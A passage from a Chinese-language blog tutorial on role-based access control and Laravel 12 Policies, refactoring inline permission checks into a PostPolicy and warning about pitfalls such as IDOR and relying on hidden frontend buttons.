<pre><code class="lang-plaintext">  User &lt; Editor &lt; Admin
</code></pre>
</li>
<li><p>Editor 自動擁有 User 權限，Admin 擁有 Editor + User 權限</p>
</li>
<li><p>好處：減少重複設定，維護方便</p>
</li>
</ul>
<h3 id="heading-3">3. 動態角色與條件權限</h3>
<ul>
<li><p>有些權限需要依情境動態授予，例如：</p>
<ul>
<li><p>專案負責人可以編輯專案</p>
</li>
<li><p>訂單管理員可以修改自己部門的訂單</p>
</li>
</ul>
</li>
<li><p>這通常會搭配 Policy 或 Gate 做進一步檢查</p>
</li>
</ul>
<blockquote>
<p>總結：RBAC 不只是 User → Role → Permission，更是一個 設計思維，可以控制粒度、層次與動態條件。</p>
</blockquote>
<h1 id="heading-policy">Policy 設計：將業務邏輯與控制器分離</h1>
<p>在現代後端框架（如 Laravel, Django, NestJS）中，我們通常不會在 Controller/Service 裡面寫又臭又長的 <code>if-else</code> 來檢查權限。我們使用 <strong>Policy (策略模式)</strong>。</p>
<p>Policy 的核心目的，就是將「能不能做 (Can)」的邏輯，從「實際去做 (Do)」的邏輯中拆分出來。</p>
<p>這裡不看code，真的很難繼續講下去，我們來看個code 經典範例吧。</p>
<p>以下範例code由Laravel 12 實現。</p>
<h2 id="heading-5oof5akd77ya6yoo6jc95qc85pah56ug55qe5lu5ps55qyk6zmq">情境：部落格文章的修改權限</h2>
<p>假設規則如下：</p>
<ol>
<li><p><strong>管理員 (Admin)</strong> 可以修改任何人的文章。</p>
</li>
<li><p><strong>作者 (Author)</strong> 只能修改「自己」寫的文章。</p>
</li>
<li><p><strong>一般人</strong> 不能修改文章。</p>
</li>
</ol>
<h3 id="heading-bad-smell-code">Bad Smell Code</h3>
<p>我們當然可以這樣寫</p>
<pre><code class="lang-php"><span class="hljs-comment">//Service</span>
$post = <span class="hljs-keyword">$this</span>-&gt;postRepository-&gt;find($postId);

<span class="hljs-keyword">if</span>($user-&gt;role == User::ADMIN || $post-&gt;created_by == auth()-&gt;user()-&gt;id){
    <span class="hljs-keyword">$this</span>-&gt;postRepostory-&gt;update($updateData , $post-&gt;id);
}<span class="hljs-keyword">else</span> {
  abort(<span class="hljs-number">403</span>);
}

<span class="hljs-comment">//Repository</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">update</span>(<span class="hljs-params">$data, $postId</span>)
</span>{
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">$this</span>-&gt;model::where(<span class="hljs-string">'id'</span>, $postId)-&gt;update($data);
}
</code></pre>
<p>但有些bad smell 對吧？</p>
<p>很明顯有：可讀性與維護性缺失，業務邏輯 和 授權邏輯 混在一起，程式碼會變得越來越長。</p>
<h3 id="heading-modify-step">Modify Step</h3>
<ol>
<li>新增Policy檔案</li>
</ol>
<pre><code class="lang-bash">php artisan make:policy PostPolicy --model=Post
<span class="hljs-comment">#--model=Post 可選</span>
</code></pre>
<ol>
<li>(可選)如果Model File Name沒有符合Laravel auto load</li>
</ol>
<p>我這裡故意用Postssss當Model Name來說明</p>
<pre><code class="lang-php"><span class="hljs-comment">//AppServiceProvider</span>
Gate::policy(Postssss::class, Postolicy::class);

<span class="hljs-comment">//或者</span>
<span class="hljs-comment">#[UsePolicy(PostPolicy::class)]</span>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Postssss</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Model</span>
</span>{
}
</code></pre>
<ol>
<li>Policy Update</li>
</ol>
<pre><code class="lang-php"><span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">update</span>(<span class="hljs-params">User $user, Post $post</span>)
</span>{
   <span class="hljs-keyword">return</span> $user-&gt;role === User::ADMIN
        || $post-&gt;created_by === $user-&gt;id;
}
</code></pre>
<p>或者</p>
<pre><code class="lang-php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">PostPolicy</span>
</span>{
    <span class="hljs-comment">/**
     * 在所有其他檢查之前執行
     * 如果回傳 true，則直接允許；回傳 null 則繼續往下檢查
     */</span>
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">before</span>(<span class="hljs-params">User $user, $ability</span>)
    </span>{
        <span class="hljs-comment">// 規則 1: Admin 可以修改任何人的文章</span>
        <span class="hljs-keyword">if</span> ($user-&gt;role === User::ADMIN) {
            <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
        }
    }

    <span class="hljs-comment">/**
     * 判斷 User 是否可以更新 Post
     */</span>
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">update</span>(<span class="hljs-params">User $user, Post $post</span>)
    </span>{
        <span class="hljs-comment">// 規則 2: 作者只能修改「自己」的文章</span>
        <span class="hljs-comment">// 規則 3: 一般人不能修改 (因為不是 Admin 也不是作者，這裡會回傳 false)</span>
        <span class="hljs-keyword">return</span> $user-&gt;id === $post-&gt;created_by;
    }
}
</code></pre>
<ol>
<li>修改Service</li>
</ol>
<pre><code class="lang-php">$post = <span class="hljs-keyword">$this</span>-&gt;postRepository-&gt;find($postId);

Gate::authorize(<span class="hljs-string">'update'</span>, $post);

<span class="hljs-keyword">$this</span>-&gt;postRepository-&gt;update($updateData, $postId);
</code></pre>
<p>或</p>
<p>這個會回傳 在 Policy中的return</p>
<pre><code class="lang-php">auth()-&gt;user()-&gt;can(<span class="hljs-string">'update'</span> , $post);
</code></pre>
<p>或</p>
<p>這個會回傳 Auth/Access/Response</p>
<pre><code class="lang-php">$response = Gate::inspect(<span class="hljs-string">'update'</span> , $post)
$response-&gt;allowed()
</code></pre>
<h3 id="heading-5qwt5yuz6ykp6lyv6iih5qyk6zmq6ykp6lyv5yig6zui5qu6lyd">業務邏輯與權限邏輯分離比較</h3>
<div class="hn-table">
<table>
<thead>
<tr>
<td>項目</td><td>Service 判斷</td><td>使用 Policy</td></tr>
</thead>
<tbody>
<tr>
<td>權限判斷位置</td><td>Service</td><td>Policy（官方建議）</td></tr>
<tr>
<td>可維護性</td><td>中等</td><td>高（集中管理）</td></tr>
<tr>
<td>擴展角色邏輯</td><td>需要修改 Service</td><td>修改單一 Policy</td></tr>
<tr>
<td>可讀性</td><td>可以，但會累積</td><td>清楚：Service=流程、Policy=權</td></tr>
</tbody>
</table>
</div><h1 id="heading-5bi46kal6zm36zix">常見陷阱</h1>
<p><strong>隱藏不等於後端安全</strong>： 不要以為在前端把「刪除按鈕」藏起來，駭客就刪不掉資料。後端 API <strong>每一支</strong> 修改資料的接口都必須有 Authorization 檢查。</p>
<ol>
<li><p><strong>IDOR (Insecure Direct Object References)</strong>： 這是最常見的漏洞。例如 API 是 <code>GET /orders/1234</code>，如果後端只檢查「使用者是否登入」，而沒檢查「訂單 1234 是否屬於該使用者」，那麼惡意使用者可以遍歷 ID 偷看別人的訂單。Policy 就是防止 IDOR 的最佳防線。</p>
</li>
<li><p><strong>超級管理員 (Super Admin)</strong>： 設計 Policy 時，可以設計一個 <code>before</code> 過濾器，讓 Super Admin 繞過所有檢查，避免你在開發時把自己鎖在外面。</p>
</li>
</ol>
]]></content:encoded></item></channel></rss>